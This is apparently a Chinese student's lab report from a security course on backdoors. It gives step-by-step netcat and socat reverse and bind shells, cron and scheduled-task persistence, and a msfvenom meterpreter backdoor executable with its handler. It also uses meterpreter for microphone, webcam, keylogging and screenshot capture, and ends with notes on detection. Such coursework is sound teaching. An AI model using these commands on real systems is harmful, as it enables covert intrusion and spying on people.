后门原理与实践

Exp2 后门原理与实践

关于Nc和Ncat

1.关于netcat

  • Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
  • 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
  • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
  • Windows: 课程主页附件中下载ncat.rar解压即可使用。
  • Mac: 系统自带,"man nc",查看其使用说明。

实验过程记录

1. Win获得Linux Shell

首先查看windows主机和kali的IP地址

在主机的终端输入 ipconfig 查看当前kali的IP地址,如下图所示

 

 

在kali的终端输入 ifconfig 查看kali的IP地址,如下图所示

 

windows 打开监听,在cmd.exe下输入 ncat.exe -l -p 1229

 

Linux反弹连接win

输入 nc 192.168.56.1 1229 -e /bin/sh

 

windows下获得一个linux shell,可运行任何指令,如ls

 

成功!但是输出乱码,应该是字符编码问题,需要修改一下字符编码

*修改字符编码

在cmd.exe输入 cd c:\windows\ststem32 

之后输入 chcp 65001 更改字符编码为UTF-8

成功之后会显示如下图所示:

注意:这种方法只是临时更改,永久修改需要修改注册表

在虚拟机中获取主机shell

在虚拟机中用nc -l -p 1229监听主机1229端口

在主机中用ncat -e cmd 172.16.218.112 1229

 成功获取到主机shell

在虚拟机中启动cron并在主机监听

先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

等到每小时的34分,在ip地址为172.16.219.129的主机端用ncat -l -p 1229打开监听即可

二、使用socat获取主机操作Shell,任务计划启动

在Windows获得Linux Shell

在Kali中用man socat查看使用说明

 在Windows中按Win+R,再输入compmgmt.msc打开计算机管理

在系统工具中的任务计划程序中创建任务

 

 

设置任务名称

 

新建触发器

下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README

新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1229 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1229,同时把cmd.exe的stderr重定向

创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行

 

 

在kali中输入 socat - tcp:172.16.219129:1229 (-代表标准的输入输出,第二个流连接到Windows主机的 1229 端口,IP为win的IP),成功获得 cmd shell )

 

输入 dir 进行测试,成功输出

 

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上生成后门可执行程序20191229_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.168.218.112 LPORT=1229 -f exe > 20191229_backdoor.exe,其中

    • LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
    • LPORT是回连的端口
    • -p 使用的payload。
      payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
    • -f 生成文件的类型
    • > 输出到哪个文件

 

 

 在Windows上打开监听

 

 在Kali上用nc 172.16.218.112 < 20191229_backdoor.exe将生成的20191229_backdoor.exe后门程序传过去

 

 

在kali上使用msfconsole指令进入msf控制台

 对msf控制台进行配置
依次输入以下命令

use exploit/multi/handler        #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp        #使用和生成后门程序时相同的payload
set LHOST 172.16.218.112            #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1229

 

配置完后的情况

 

 接着输入exploit进行监听,在Windows在打开20191229_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)

 

 

 run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件

获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

截取主机屏幕,使用screenshot指令可以进行截屏

五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(利用msf生成可执行的后门)

基础问题回答

3.1 例举你能想到的一个后门进入到你系统中的可能方式?

可能通过网站挂马;利用硬件传播(比如U盘);一些病毒(例如蠕虫等等);钓鱼;社会工程学……

3.2 例举你知道的后门如何启动起来(win及linux)的方式?

本次实验中,在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门;

通过漏洞攻击启动;

一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;

等等。

3.3 Meterpreter有哪些给你映像深刻的功能?

实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。

对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。

3.4如何发现自己有系统有没有被安装后门?

首先可以通过Windows自带的防火墙识别,很多是可以被识别出来的;

再就是查看任务管理器有没有很陌生的任务在运行;

还可以查看注册表信息

实验总结与体会

本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……

实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;

在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等

 

posted @ 2022-03-29 15:21  20191229XYZ  阅读(102)  评论(0编辑  收藏  举报